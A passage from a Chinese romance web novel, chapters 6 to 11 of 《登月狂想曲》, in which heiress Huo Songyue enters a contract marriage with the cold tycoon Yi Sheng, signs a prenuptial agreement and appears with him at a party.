当初寰海如日中天的时候,火颂月被称为寰海明珠,陵市小公主。 火臻对自己这个女儿更是千娇百宠的,什么都应着, 6. 第 6 章 《登月狂想曲》全本免费阅读 昨晚失眠一整夜,早上又起了个大早。 躺在沙发上刚刚放松一小会儿,火颂月便沉沉睡了过去。 再醒来,天色已经变得昏暗,落日把窗外的江面铺满粼粼碎金。 江对面的魔方大厦此刻在一片浮光跃金中显得无比辉煌。 朦胧之中,火颂月第一次对那个冰冷的深蓝色方块大厦有了一些温暖的感觉。 迷迷糊糊睁开眼睛,看着给自己加绒毯的母亲,火颂月抱住她的腰身使劲蹭了蹭:“妈妈,我刚刚好像梦到了一匹大黑狼,不过它居然没咬我!” “什么大黑狼,”火臻帮少女顺了顺长卷发,嗔笑道,“你怕不是在暗示我,你想去见易嵊了。” “……” 火颂月把脑袋埋进了火臻怀里,“您在说什么啊?” “去吧去吧,不过晚上必须回家睡觉!” 火臻把备用的帕梅车钥匙交给她,“真是有了男友忘了娘。” “刚好我晚上约了新的合作方吃饭,就不打扰你约会啦!” 被火女士赶到车上时,火颂月整个人都是懵的。 除了姓名和工作地点,她对于这个空降男友一无所知,甚至连对方为什么会突然愿意成为自己的男朋友也不知道。 约会就更不可能了。 不过为了不让老妈发现什么端倪,火颂月还是往魔方大厦那边开去。 车子驶出寰海前坪环岛拐上滨江桥后,火颂月突然觉得身后好像一直跟着辆水蓝色的保时捷。 她留意了两个路口,确认对方真的在跟着自己后,她快速打了个方向盘,拐进位于滨江畔的那座挂着金宠医院招牌的独栋别墅。 看到那车减速后并没有跟进来,火颂月下意识松了一口气,将车钥匙交给门童后,自己直奔闺蜜倪桉的院长室。 倪桉的这家金宠医院位于寸土寸金的滨江盘,主打豪华高端宠物医疗服务。 所以来这里的宠物主人非富即贵,且为了自家的小宝能被接诊,私下都和倪桉无话不说。 进了大厅,从前台得知倪桉正在手术室接诊一只骨折的巨贵,预计还要十分钟结束。 火颂月熟门熟路地拐进一楼院长室,一进门就被吓了一跳。 正对门的一个隔离防护栏内,一只体型巨大的杜宾正虎视眈眈地盯着来人,而后压着嗓子“呜汪”了一声。 火颂月站在门口犹豫一瞬,注意到杜宾带着嘴套,又没有爆冲的动作,她才小心翼翼地往里挪。 她坐在沙发椅内,百无聊赖地同那只杜宾对视。 谁知这只看上去无比凶猛的大狗,在她试探着“嘬”了一声后,竟乖巧地趴在地垫上,哼哼唧唧地冲她狂摇尾巴。 心底的警报解除,火颂月站在防护栏前试探性地伸手,结果这只大狗狗直接躺下露出肚皮等着它来摸。 看上去又酷又凶,居然是一只小嗲精吗? 她轻轻摸了摸杜宾油光水滑的毛发,被小狗粘着不停地往手心里钻。 办公室的门被推开,刚下手术的倪桉看到屋里一人一狗黏黏糊糊的,有点惊奇:“这小家伙居然这么亲你?” “它平时不亲人吗?” 火颂月半弓着腰身,垂下的长发像是狗薄荷一般,被小狗隔着止咬器反复蹭嗅。 “喏,看它那一地毛绒玩具,这孩子只亲主人和毛茸茸的东西。”倪桉盯着火颂月的长卷发看了一会儿,“估计是把你当成一只大型毛绒玩具了,我们的小卷毛公主。” “哎哎哎,正好,你帮我安抚着着它,我帮它把药上了。”倪桉换上一副医用手套,“这小家伙除了主人,不给任何人轻易靠近创口,每次给它上药都像打仗。” “它怎么了?” “当繁殖犬的时候留下的病根子之一,皮肤病,每年都会复发几次。”倪桉打开视频对着自己,然后对着镜头开药,“未开封的进口药哦,来看一下,现在要给莲雾上药了。” 莲雾? 这小家伙的名字还挺甜? 火颂月试探着托住莲雾的脑袋,觉察到小家伙喜欢自己的亲近后,开始逗着它转移它的注意力。 倪桉趁机将药物均匀喷洒在小家伙疯狂摆动的后臀腿创面上。 上完药,她又对着镜头晃了晃空罐头才关掉。 “怎么还要录视频?” “透明化药物使用,主动保护顾客权益。” 倪桉把视频发给莲雾的宠物管家:“不是说出国两个月吗?怎么回来这么早?” 一提这事,火颂月便不自觉地叹了口气:“事出有因。” “什么事值得我们宝宝这么唉声叹气的?说来听听?” “妮妮,你知道易嵊吗?” “易嵊?这种风云人物我可太知道了!来这边的姐妹基本一开始闲聊就绕不开易嵊的话题啊。” “聊他什么?” “嘿嘿,别看咱圈子里姐妹平日里一个个的都是拿腔拿调的大小姐,私底下都馋易嵊。” 火颂月愣了一下:“馋……什么?” “馋他顶豪的家世,馋他白手起家创建RC帝国的能力,馋他的脸,最重要的是馋他的……身子!”倪桉压低声音凑过来,“他们都说易嵊长着一副很能干的脸,那个起来肯定特别带劲!” 火颂月听得耳朵一热,手下不由得捂住莲雾的耳朵:“小朋友还在呢!” 倪桉拨了拨少女红透的耳垂:“小朋友又听不懂!倒是你这个耳朵红得很可疑!追你的男人那么多,我第一次见你主动问起一个男人!” 火颂月捂住耳朵,有些心虚地错开视线:“最近我家和易嵊有合作……” 还有好多事情没和易嵊确认好,所以暂时应该算是合作? 倪桉将信将疑地继续输出:“不过他虽然跟你一样有很多人追,但是他本人像个没啥感情的孤狼,大家都比较忌惮。但最近听姐妹们说,享梦家近来跟易家走动频繁,他们都猜测易家有意跟甘恬联姻。” 甘恬是享梦陈凌阿姨的女儿。 如果是这样,那陈凌不愿意帮妈妈,好像也说得通了。 在这个利益至上的圈子里,没人愿意为了旧日恩情放弃眼前巨大的财富。 “不过易嵊素来和本家不合,这联姻传了几个月了,都没见过甘恬和易嵊同框过一次,八成得黄了。” 听了这话,火颂月忽然有一个猜测——所以,易嵊答应自己的求婚,其实是在利用自己和本家作对? “消息靠谱吗?” “哪个?” “易嵊和本家不合,还有那个联姻。” “第一个百分之百。第二个,是甘恬自己在群里半遮半掩秀的自己在港城易家老宅的照片,主动贴着易家炫耀却没被怎么样,应该也大差不差吧。” 所有的疑惑,好像一瞬间都有了解释。 火颂月托着莲雾的小脑瓜,开心地揉了揉:“原来我这也不算白嫖。” < 7. 第 7 章 《登月狂想曲》全本免费阅读 听到声音,莲雾猛地挣脱牵引绳往前冲去,横冲直闯地顶过易维醇。 易维醇被撞得趔趄,靠着拐杖才没狼狈摔倒。 火颂月眯眸逆光望过去,只能看到一道高大凌厉的身影。 激动得冲过去的莲雾兴奋地围着对方一边转圈一边狂摇尾巴。 男人轻轻抬掌,兴奋的小家伙瞬间乖巧地坐在他脚边,像是在等待夸奖。 他躬身拍了下莲雾的脑袋,用低沉清冽的声线夸道:“goodgirl。” 那人缓缓和光柱错开,火颂月才看清来人是易嵊。 她略带惊讶地看向倪桉,对方摇了摇头:“莲雾一直是一个大伯接送的。” 易维醇烦躁地轻啧一声:“我就说谁家的狗崽子这么没规矩,原来是随了主人。” 易嵊冷眼瞥着堵在小花园入口的车子:“跟您比还是差远了。” 易嵊走到火颂月面前,躬身将手伸过去。 他一身暗纹银灰的戗驳领西装,内搭一件纯黑衬衫,背光俯身看下来的时候,整个人散发着一种矜贵的压迫感。 火颂月对着那个骨节分明的大掌走神了一瞬,看到易嵊断眉微挑,像是没什么耐心的样子,她一把抓住男人的手,借势起身。 一句‘你怎么来了’,在讨厌的易维醇的注视下硬生生变成一句娇嗔:“你怎么才来?” 易嵊抽出口袋巾,擦着少女手心粘上的草叶子,淡声道,“还不是因为某人把我的电话拉黑了。” 男人宽厚的掌心包裹着少女娇小的手。 温热熨帖泛凉的小手,却又在听到他这话的时候,紧张地洇出一片潮湿。 下午的那个电话……居然是易嵊的? 火颂月有些尴尬地想要收回手,却被对方轻轻攥着:“这会儿知道怕了?” 她鼓了鼓腮帮子,大着胆子用所有人都听得到的声音小声道:“那你倒是跟你小叔好好说说呀。” “说什么?” 易嵊抬眸看向易维醇,“他如果听得懂,这会儿也不会来自找没趣了。” “自讨没趣?我只是想好心提醒一下。你谈恋爱的事,如果老爷子知道了会是什么反应?”易维醇冷笑着整理好衣襟,“你以为这样就能躲过和享梦的联姻?老爷子决定的事从来没人能改变。” “那只是对你来说,”易嵊漫不经心地望过去,“还是说,老爷子觉得您这个私生子没有联姻的价值,所以只肯拿来当看门犬?” 易维醇是私生子?? 这天大的豪门秘辛就这么被易嵊平淡地抖落出来,火颂月震惊地和倪桉对视一眼,又震惊地看向易维醇。 “你!” 被人轻而易举戳上痛脚,易维醇气得反手将拐杖砸过来,被莲雾一个飞扑衔住拐杖。 没了拐杖,易维醇挺拔的站姿摇摇欲坠,他勉力维持的体面已经脆弱到一碰就碎。 兀自冷笑几声,他的眼底愤恨满溢,额角青筋直跳:“很好,我倒要看看你还能狂到几时。” “还有你,我的小可怜,你以为你是抱上了一条大腿吗?”易维醇冷眼瞧着火颂月,“被人拿着当了挡箭牌,还洋洋自得?你现在可是和整个易家作对。” 话落,他力气极大地甩上车门,将油门轰得震天响。 危机暂时解除。 火颂月松了口气,下意识和易嵊拉开距离。 别的不说,只是和易嵊站得近了些,火颂月都没由来地感到一种压迫感,心跳也跟着提速。 男人看着她无意识的小动作,冷淡地睨她:“用完就丢?” “没有!”少女被点破,立马又撒娇般地扯了扯易嵊的袖口,“我这不是衣服上沾了草叶子,怕给你蹭脏吗?” “照你的意思,一条手帕不够你用,我以后还得多备几条手帕?” 他这么一说,火颂月才恍然意识到,他们见面三次,每一次易嵊的口袋巾都被她用掉了。 火颂月就坡下驴,接过那帕子,笑得无比乖巧:“等改天,和上次的一起还你。” “还留着?” “还你新的。” 少女接话接得毫不犹豫,一双水盈盈的多情眼永远都满溢着真诚。 要不是上次在路边亲眼看到她愤愤把帕子丢进了垃圾桶,易嵊差点就信了。 小骗子。 易嵊漫不经心地挑起断眉,“都把我拉黑了,你想怎么还?” “……拉黑?” 火颂月脸上乖巧的笑容一僵,不由自主地移开视线,思忖半晌才结结巴巴地回望过来:“你会不会打错了啊?再打一次试试?” 说着,她还报了一串数字,催着易嵊打给自己。 看到手机上的来电显示,易嵊仿佛看到她那无形的小尾巴又翘了起来。 “看吧!”少女眨了眨漂亮的眼睛,接起电话,对着听筒洋洋得意道,“易先生你好,我已经把你的号码记到心里啦!” 她好像总是喜欢在猝不及防的时候打一记直球。 示好也是,示弱也是。 看上去纯澈无比,实际上悄无声息把人拿捏。 易嵊深长的眸子自上而下将她打量一遍,直到少女脸上的笑意变得僵硬,他才收紧手中莲雾的牵引绳,淡声道:“送你回去。” 不是问询。 想到刚刚张狂的易维醇,火颂月一秒都没有犹豫:“谢谢你,我贴心的男朋友!” “火火!!” 一直在一旁被迫塞狗粮的倪桉愤愤地喊了一声。 注意到易嵊的视线,她的气势瞬间蔫儿下去,瞪着火颂月比了个电话的手势。 隐瞒的东西一瞬间暴露,火颂月自知理亏,皱着眉乖巧无比地点了点头。 然后不远不近地跟着易嵊往回走。 可能是为了接莲雾方便,易嵊今天换了一辆纯黑的大G。 将莲雾的牵引绳固定在后座的安全锁上,他直接把后排门上锁,对着想悄悄坐进后座的少女反问:“我是你的司机?” 少女一个激灵,乖顺地坐进副驾:“我只是不放心小朋友自己坐着。” “它比你胆子大。” 男人启动车子,安静地将车子汇入车流。 正值晚高峰,路况堵得让人烦躁。 可易嵊却没有表现出一丝暴躁的情绪,一直专注观察着路况,车速也是意外的平稳。 如果从开车看一个男士的品格的话,易嵊这样的,好像非常不错。 一路上,气氛安静的有些尴尬,就连活泼的莲雾都不哼哼唧唧,安静地好像睡着了。 火颂月瞥了眼易嵊,见对方丝毫没有要聊天的意思,她犹豫了一会儿,悄悄伸手去按开了音乐。 车载音响里缓缓流淌的钢琴曲一点点化解了火颂月的尴尬。 快到别墅群的时候,她才大着胆子主动开口:“易嵊,你,为什么突然答应我了啊?” 男人淡淡暼她一眼,“你都有什么备选答案?” “ 8. 第 8 章 《登月狂想曲》全本免费阅读 感受到男人按在颊边的拇指轻轻摩挲了一下,火颂月身子一颤。 脑海里的警报滴滴答答叫个不停。 车内灯色晦暗,火颂月很难看清易嵊眼中的神色,可她却敏锐感知到了气氛的变化。 一种无言的危险侵略感,随着车内微苦的木质熏香一起入侵着她一呼一吸,让她敏感不已。 她放轻呼吸,在未知降临前,不敢轻易动作。 男人眯眸,“怕我?” 他仿佛拥有随时随地洞破人心的能力,火颂月颤着睫羽,不知如何作答。 任由那分危险的暧昧在无言中发酵。 倏地,车窗外闪过一道车灯,车子驶过他们而后停在大门内没再继续往里进。 是火臻的车子。 车内紧绷的气氛一瞬间被打碎。 感受到少女像是松了口气的样子,易嵊正准备收回手,蓦地被她托住手背。 火颂月软软的嗓音里带着几分紧张的哑:“易嵊。” 男人垂眸,沉默地看着她。 “牵手,拥抱或者……接吻,”她结结巴巴的,“是恋人才会做的。” “可你,都还没答应我……” 说到后边,她音量越来越低,“所以,不是怕你哦。” 她在示弱,她在认真地解释。 却也在不动声色间,将自己的需求再次摆上台面。 一个脆弱却又机巧的小骗子。 心脏好像被一片羽毛尖尖轻轻扫过,痒痒的。 易嵊突然对这个拙劣的陷阱产生了强烈的兴趣。 他抽回手,随意地搭在方向盘上,嗓音冷淡:“明天答复你。” 没被彻底拒绝,火颂月低落的情绪有所回升。 瞥见妈妈站在大门口往这边张望,她突然担心火臻女士过来问话。 她还没完全处理好和易嵊的关系,现在碰上老妈肯定会露馅。 少女迅速解开安全带跳下车,“那明天见啦易先生!” 她这一系列毫不留恋的动作,落在易嵊眼里就是另一番滋味。 男人冷淡地瞧她一眼,兀自开着车离开。 大G冷漠的背影消失在夜幕,一声再见也没留下。 火颂月无奈地叹了口气,又快速换上笑容回到火臻身边。 火臻上下打量了一圈火颂月,直到把少女的脸颊都盯红了,才哼哼道:“黏糊一下午还不够,到家门口了还要腻歪?” 少女靠在她身上撒娇:“您和爸爸当初不这样吗?” “你啊,简直跟你爸一个模子刻出来的,一个两个的都是撒娇精!” “喜欢才撒娇的,妈妈,我最喜欢您啦!” “哦~也许你在易嵊面前又说最喜欢他了呢。” “不可能的!他只是男朋友,您可是我最爱的母亲大人!” “行了行了,你手机是不是一直在震动?” 闻言,火颂月摸出手机,发现有好几个夺命连环call,全是倪桉打过来的。 火颂月紧张地按灭手机:“妈妈,我去给妮妮回个电话。” “你们年轻人谈个恋爱怎么都神神秘秘的?去吧去吧。” “那妈妈晚安!” 火颂月回到卧室,接起再次震动起来的手机。 视频电话一接通,倪桉那魔音贯耳般的尖叫就传了过来。 “火颂月!!速速招来!怎么回事?!” 火颂月不敢直面倪桉的逼视,悄悄把自己的眼睛挪到镜头外边,喏喏道:“妮妮别激动,我只是……找了个男朋友。” “什么叫只是?!那可是易嵊!!” “易嵊不好吗?” 火颂月悄悄探头去看倪桉的表情,确认对方只有惊讶的表情后松了口气。 倪桉怜悯地看向火颂月:“也不是不好……就是怕宝宝你吃不消!” 火颂月茫然地眨了眨眼:“嗯?” “下午没跟你细说,易嵊他啊……”倪桉啧了声,组织着措辞,“姐妹们都说易嵊易嵊又冷又傲,凶起人来特别涩气,说不好其实悄悄在外边当S!” “当……?”火颂月愣住,热度轰地一下烧遍全身,“你们八卦的有点离谱了!” “哎呀!反正真假不重要,重要的是真有人前赴后继去试了!最近飞蛾扑火的实例你应该也知道,汤玟秀!我们叛逆不羁不信邪的汤姐! 汤姐的事还要我再复述一下吗?汤姐说易嵊肯定只是看上去凶,对女士不会太狠,于是冲上去了,然后家里差点破产。” “我只知道汤家的财务危机,原来是和易嵊有关吗?” 去年汤家财务危机的时候,汤玟秀的父亲还来找过火臻女士求助。 不过火颂月倒是没想到这事是和易嵊有关。 “我的乖宝啊,你还真是什么瓜都不关注!那件事基本圈内人尽皆知,汤旻秀趁易嵊在她们家酒店下榻的时候,悄悄拿了房卡,叫了记者过去。 说是如果她没表白成功,就强行让记者曝光,用舆论把他和自己捆住。 结果易嵊当场给所有在场的外人都发了律师函,第二日全网热搜‘当红女星,入室偷窃’,然后汤家连锁酒店的融资合作都撤了。 易嵊是不是S不确定,但是惹上他死啦死啦滴是一定的,一下子就把我们不羁汤姐给调.教安生了,娱乐圈也不玩了,直接出国了。” “这次事件后基本上没人敢主动追易嵊了,甚至因为汤姐的遭遇太惨了,大家又开始传他不喜欢女人。”倪桉摸了摸下巴,好奇成星星眼,“所以你俩,谁追的谁?” 火颂月一时有些心情复杂:“我追的易嵊。” “好你个火火!那你下午骗我说有合作?!” “就是……” “嘶……看不出来你好这口啊!你确定自己能吃得消?!” 火颂月彻底解释不清了,无辜地眨巴着眼睛看向倪桉。 倪桉笑了出来,“好了好了不逗你了!” 火颂月松了口气:“你还记得我们一个高中的吗?” “记得啊!我还记得他高中还跟我男神不对付……好家伙,难道他不知道你哥是谁?” 少女仰天叹了口气:“不仅知道,还记得特别清楚。” 倪桉瞪大了疑惑的眸子:“那他什么意思?不是,他不会要报复你吧?” “他从没伤害过我。” “奇了怪了,难道他喜欢你?” 倪桉挠了挠头,忽地盯着视频里少女的面颊仔细看了又看。 少女巴掌大的精致面容上,细眉弯弯,清透的浅棕色眸子水润含情,再往下,笔挺的鼻峰遮着粉嫩的微笑唇,整个人就像是一只精致逼真的芭比。 这张脸,是个男人好像就没法拒绝。 “不过心动的对象是你,倒也不奇怪了。” “他跟我哥不对付的事情我怎么不知道,会不会是误会呀……” “你哥瞒着你的事情可不止这一件,但绝对不是误会!”倪桉思索片刻,“我记得特清楚,那是高三最后一次校内赛,就是我差点跟你哥表白那天,你哥突然跟易嵊在场上1v1斗牛,然后易嵊这家伙抢了你哥三个篮板,最后远投三分赢了。” 提到校内赛,火颂月朦朦胧胧记起来一些碎片。 她好像在哥哥某个重要的比赛前收到过谁递来的情书。 不过那时她满心满眼都在给哥哥和闺蜜搭线,后来比赛输了,她又忙着安慰两个人,就彻底把情书的事情抛之脑后了…… 可记忆里的易嵊怎么好像和现在的风格完全不一样?? “那是我男神第一次输比赛,我的表白计划跟着泡汤了。然后大家发现自那之后,易嵊这个常年缺考翘课连教导主任都让着的祖宗突然变成了门门满分的变态,高三下半年拿成绩死死压了我男神大半 9. 第 9 章 《登月狂想曲》全本免费阅读 直到次日在听涛茶庄见到易嵊,梦里战栗悸动的感觉都还清晰地记得。 听涛茶庄位于入海口的山脚,是陵市数一数二的私房菜馆,同时段只接三批客人,来的人都非富即贵,保密性和休闲性都是顶顶好的。 绕过条条中式回廊,火颂月跟着路明来到了易嵊所在的房间。 隔着繁复的雕花隔断,男人坐在众人中央,肩背宽阔笔挺,气质卓然出众。 易嵊并未说话,只是用眼神淡淡一瞥,手边的人便会意地将情况一一汇报。 他一身挺括的深空灰西装,三七侧背的发型利落正式,露出右侧一截浅淡的断眉,整个人抬眸动眉间,都带着一股凌人气势。 火颂月从没见过谁能把简单的西装穿得这么危险又性感,真的有些像梦里那匹狼。 转过隔断,屋内汇报的声音随之一顿。 易嵊轻轻抬手,下首的人便立马会意,端着电脑去了隔壁。 看到火颂月只身一人,易嵊轻抬断眉尾:“你一个人来的?” 许是因为他刚刚结束工作,周身萦绕的肃冷气息还未消散,连带着问话的声音都冷硬得像是在质问下属。 那副语气和架势,好像他马上就要把她拆吃入腹一般。 少女被冰得一激灵,脸上弯出的笑意突然变得无所适从:“那……需要几个人?” 易嵊一顿,望着她无辜纯澈的多情眼,声线也跟着柔和下来:“你知道今天要谈什么吗?” 少女敏锐地捕捉到气氛的变化,乖笑着坐在他身侧,眨眨眼:“嗯,婚约。” “那你的律师呢?” “我不需要律师,”少女直直望进易嵊的长眸中,轻轻戳了一下易嵊的左胸口,“因为跟你相比,我没有值钱的了,但是你不一样。” 透过雕花窗的日光散散洒在少女周身,将一身简单白色丝绸衬衫的她衬得柔软又天真。 可在这份合作里,她从一开始就是孤身入局,是一个看似柔软实则“疯狂”的赌徒。 “火小姐,我是商人,”易嵊淡淡扬了下断眉,似在讥嘲她的天真,“你的家族,你的身体,你的心,只要是我可以获取价值的,我都不会手软。” 他说这话的时候,声音冷得就像在看一只砧板上的鱼。 “即使这样,你也觉得无所谓吗?” 火颂月明显被他吓得愣了一瞬,如蝶翅般的睫羽颤了颤,她犹豫着收回小爪子,用湿漉漉的眼睛巴巴地盯着易嵊:“你会吗?” 易嵊按了按眉心,抬手拨了个电话。 不一会儿,一位身穿浅棕西装的女士进了包厢,像是早就候在隔壁了。 路明恭敬起身:“老师。” 第一次见路明对着易嵊以外的人这么尊敬,火颂月不由好奇地打量来人。 程琪扶着无框眼镜淡淡笑着,朝火颂月伸手:“火小姐您好,我是明法律所的合伙人程琪,目前是您的婚前协议委托律师,您在本次协议拟定过程中又任何疑惑都可以提出来,我会为您解答。另外,易总,请允许我对本次签署过程进行全程录音备案。” 居然是明法律师,那个号称在业界从无败绩的红圈所top。 火颂月悄悄瞥了眼易嵊,同程琪握手:“您好,麻烦您了。” 得到许可后程琪打开了录音笔和笔记本,将常见的婚前协议要点都讲了一遍,一边讲一边确认火颂月是否听明白了。 火颂月没想到易嵊准备的如此周全又如此正式,就好像和刚刚吓唬他的男人是两个人一样。 在程琪问道自己有什么需求的时候,火颂月犹豫片刻说:“我的第一点需求是财产保全协议,我想在婚前婚后甚至是离婚了,这份感情都和易先生的财产没有瓜葛,一家人但是两家账。” 闻言,屋内的人都是一愣。 程琪做好记录,看向易嵊。 易嵊转了转指尖银戒,淡淡道:“我尊重你的意愿,但我还不至于养不起自己的太太,花销都走我副卡,其余都按照你说的来。” 火颂月提出这个需求,完全是想保全易嵊的利益。 不过她日常花的好像也不是很多……? 火颂月看了眼自己价值七位数的包包,又顺势想到了做造景时花九位数买的那几座天价园林…… 她好心提醒:“易嵊,我这个人的爱好好像有点烧钱哦,比如超级贵的园林……” 易嵊挑眉,语气果决:“继续下一点。” 没想到他完全不在意,那她也没必要扭捏,火颂月快速抛出后边的条件:“第二,我希望易先生可以配合我的日常社交需求,不是很多,主要不希望我妈妈看出破绽。第三,可以不办婚礼但是我需要结婚证,以上。” 男人不假思索地补充:“第二,不接受分居,第三,婚礼和结婚证都要有,夫妻义务也要有。” 听到最后一句话,火颂月微微怔住,意识到什么后,忽然耳朵爆红,端着水杯小口啜着压惊。 两个人,条理清晰且互相照应的三条。 和火颂月不同的是,易嵊的三条,每条都在把二人绑在一起。 程琪悄悄瞟了一眼路明,见对方也在吃惊地微微瞪着眸子,会意地笑了下。 这一对协议夫妻,倒是有趣的紧。 她还是第一次见易嵊这幅样子对一个女人。 快速梳理好内容,程琪把内容和路明交换核对后分别交给两位当事人核对。 签字的时候,火颂月紧紧盯着他的字。 字如其人,男人写得一手苍劲凌利的行书,和那封匿名情书里方正规矩的字迹完全是两种性格。 火颂月又无声纠结起来,在易嵊把合约递过来的时候乖巧地接过。 落在纸上的顿了顿,犹豫一瞬。 易嵊居高临下地瞧着她,没什么情绪:“卖身契,后悔了?” “这是你的卖身契。”少女飞速地留下名字,眨巴着漂亮的多情眼,将BK白金包里那个红色的印着“户口簿”三个字的小本子塞进男人手心:“这才是我的卖身契!” 看着被少女塞进自己手心的那个红色小本本,易嵊不由得眉尾轻动,视线长久地凝视在女孩的脸上。 “这就是你的诚意?” “嗯?” 火颂月没明白他话里的意思。 易嵊的目光里,带着几分说不清道不明的晦涩情绪 10. 第 10 章 《登月狂想曲》全本免费阅读 情……趣…… 没想到男人一脸冷淡地说出让人脸红心跳的话,火颂月瞬间安静地缩回椅子中,在沉默中努力将发烫的耳朵藏进鬓发里。 车子刚拐出民政局大门,斜对面的酒店前坪一辆亮紫色的保时捷斜开过来,和易嵊并行。 看对方要一直跟着自己的意思,易嵊干脆靠边停车。 易嵊打开窗,看到简修仁穿着一身浪到没边的真空西装满脸八卦地望着他。 “你上午说有事,就是泡妹?”简修仁越过易嵊朝副驾驶的火颂月打招呼,“火妹,还记得我吗?” 火颂月乖顺地同他点头:“简总好。” “什么简总,以后就叫我修仁哥!你们俩这是要约会去?” “不是……我们……” 两个人旁若无人地隔着易嵊聊天,易嵊的眉心跳了跳,挡过简修仁无间断放电的眼,“领证。” 话落,嘻嘻哈哈的简修仁和正犹豫要不要坦白的火颂月齐齐愣住。 一秒前,火颂月还在纠结易嵊会不会不愿意公开这件事,一秒后她就获得了肯定的答案。 不愧是易嵊,干脆的让人捉摸不透。 说完,易嵊似乎感受到少女的沉默,对上她的目光:“这是RC的CFO。” CFO? 也就是必要的工作报备? 火颂月点了点头,也带着公事公办的语气:“我知道了。” “嘿!易嵊你个老小子!我们十年的战友情,你就这么介绍我?”简修仁下了车嚷嚷着,“我是不是第一个知道你已婚的?!我去!我比你爸还重要?!” “结婚这么大的事,你不打算庆祝一下?!”简修仁摸摸下巴,直接拉开车门坐进易嵊的卡宴里,“走走走,正好我今儿个组了个端午趴,直接改成帮你们庆祝一下!” “今天约的都是自己人!”简修仁看向火颂月,“火妹,你应该也认识,你之意哥他们,还有几位淑女,小聚会人不多。” 简修仁是名副其实的派对生物,作为最年轻的CFO,他拉拢人脉礼尚往来交换信息的主战场都在他主办的聚会里。 况且他又背靠着RC,以他的名义发起的聚会,有不少人抢着想拿到那个邀请函。 “之意哥调回国内了?” “对,澳洲子公司做的不错,就被他爸拎回来了。” “哎,之意哥经常跟我说那边的菜不好吃,终于解放了。” 程之意? 易嵊记得一年前这小子被外派的时候还来找过简修仁求助。 据简修仁单方面的说法是,程之意当初和家里闹着要娶火颂月,被他家人按头发配。 易嵊敛眸看向火颂月,少女刚巧也巴巴地望过来:“我听易嵊的。” 她一副毫不知情的模样,单纯又乖顺,把决定权交给他。 火颂月不知道实情情有可原,毕竟就高中同校那半年,易嵊就围观到不少人对她暗恋未果。 但简修仁就是单纯的,坏心眼。 简修仁嘿嘿笑着:“易总怎么?想把我们火妹藏着掖着?” 易嵊挑眉,发动车子:“地址。” 聚会的地方在RC投资的一家商业酒店顶楼。 陵市中心的黄金地段,俯瞰下去,陵市大半景色都收进眼底。 三人一进会厅,简修仁就嚷嚷起来:“先生们女士们,看看谁来了!” 热闹的人群渐渐安静下来,看到来人是易嵊和火颂月,一个个都惊讶地交换着目光。 程之意就在门口,最先凑过来打招呼。 他朝易嵊举了举杯子:“易总,好久不见。” 易嵊接过侍应生递来的白葡萄酒,举杯回应。 程之意望向火颂月,眼底盈盈闪着光:“月月,想我了没?” “之意哥,一年没见啦!” 看着二人之间拉近的距离,易嵊递了杯饮品过去:“白葡萄酒?” 易嵊在的地方就是目光的焦点。 众人看到素来不喜出席宴会的易嵊破天荒来了一个小型聚会,还给同行的火颂月递了饮品。 一众跃跃欲试的围观群众都压不住满是惊讶的吃瓜心了。 程之意满心满眼都扑在火颂月身上,完全没注意到什么异常,从餐桌上挑了杯别的:“喝这个吧,这有你爱喝的苹果汁。” 两杯饮品递到眼前,程之意对上易嵊冷淡的目光,后知后觉意识到了什么。 火颂月瞅瞅易嵊,又看看程之意,同时接下两杯:“谢谢。” 她将苹果汁递给易嵊,自己留下了那杯白葡萄酒:“你等下还要开车,喝这个。” 看到程之意脸色微怔,火颂月主动碰了下他的杯沿:“之意哥好不容易回来了,当然要碰一杯!” 程之意笑了笑,目光却时不时落在易嵊那边。 没想到一进场就围观了修罗场,简修仁都快憋不住笑了:“易总不介绍一下?” “介绍什么?” 易嵊自然而然地牵住火颂月的手往里走:“有谁不认识?” 猝不及防地掌心相贴,男人的大掌近乎完全包裹住她的小手。 火颂月颤着眼睫看向易嵊。 发现男人神色未变,只是眼眸深处漫出的那种侵略感和压迫感一览无余。 火颂月冲程之意抱歉一笑,跟着易嵊一起迎着众人的目光往里走。 她怎么也没想到,易嵊宣告关系的方式会如此简单直接。 无所顾忌到有几分强势,但她并不讨厌。 “哇哦……” 人群中响起一小阵惊呼。 两个从没见过有交集的人第一次出场就牵上手了?!! 不是,那是易嵊吗?那个凶名在外不近女色的易嵊? 或者该说,真不愧是火颂月? 众人在他们二人往里走的时候,已经快速地用眼神交换了八卦,最后把目光投向补完妆回来的甘恬。 注意到甘恬目光直勾勾地望着这边。 火颂月顿住脚步,小幅度拉着易嵊:“易嵊!” “嗯?” 看她有话要说,又面色尴尬地压低声音,他轻轻俯身,少女也顺势攀到他耳畔:“好像有人要找你,我回避一下?” “回避谁?” “甘恬!就那个看着你的漂亮妹妹。” “为什么是你回避?” 陈凌和妈妈最近因为易家闹得不愉快的事情,火颂月觉得没必要在这儿说,她眨了眨眼睛:“我听说你们差点订婚了……” “老爷子擅自做主的。”易嵊站直身子,“我不认识她。” 11. 第 11 章 楼下的人群聊得热络,丝毫没有注意到大凶神正在靠近。 “真的吗?那我下次试试!” “试什么?” 火颂月话落,便感受到肩侧落下一只温厚的大掌。 乍然瞧见来人是易嵊,她身子一僵,像是被捉奸在场,脸上轻松的笑意变淡,“试试……之意哥推荐的甜品。” 之意哥,之意哥。 易嵊挑眉,望向那个男人。 程之意对上易嵊冰凉的视线,僵硬地笑了下:“准确的说是苹果派,月月喜欢水果类的甜品。” 连喜好都摸得清楚。 易嵊敛眸不语,无意间摩挲了一下手掌压着的肩头,却引得少女急急握住他的手,制止他的动作。 火颂月抬头望向他,视线刚一交汇就不自然地挪开:“怎么了?” 刚刚小姐妹们一个个旁敲侧击地问她跟易嵊交往是什么感觉,甚至还给她科普了很多“新知识”…… 搞得她这会儿一看到易嵊,满脑子都是些奇奇怪怪的有色废料…… 易嵊的目光落在火颂月悄然变红的耳朵尖尖上,压下了触碰的欲望,“临时有事,你要继续玩吗?” “我……” 小姑娘犹豫了一瞬,看到大家此刻都用比刚刚更八卦的眼神望过来,她轻轻摇了摇易嵊的手,声音低低娇娇的:“我也有点事。” “哎哟……” 一群人跟着起哄,少女登时红着脸,挽住易嵊的胳膊快步往外走:“大家回见~” 出房间后,火颂月就松开了易嵊的胳膊,甚至故意躲着他的目光。 易嵊看着落空的手,淡漠地插兜:“我送你回去?” “你不是有事嘛?我自己叫车。” “领证第一天就让你自己打车回去,我看你是怕你妈发现不了什么。” 此话一出,火颂月立马被拿捏住了命脉。 她摸了摸装着婚前协议和结婚证的手包,欲言又止地跟着易嵊回到车上。 车程过半,瞥见火颂月悄悄偷看自己好几次,易嵊敲了敲方向盘:“说。” 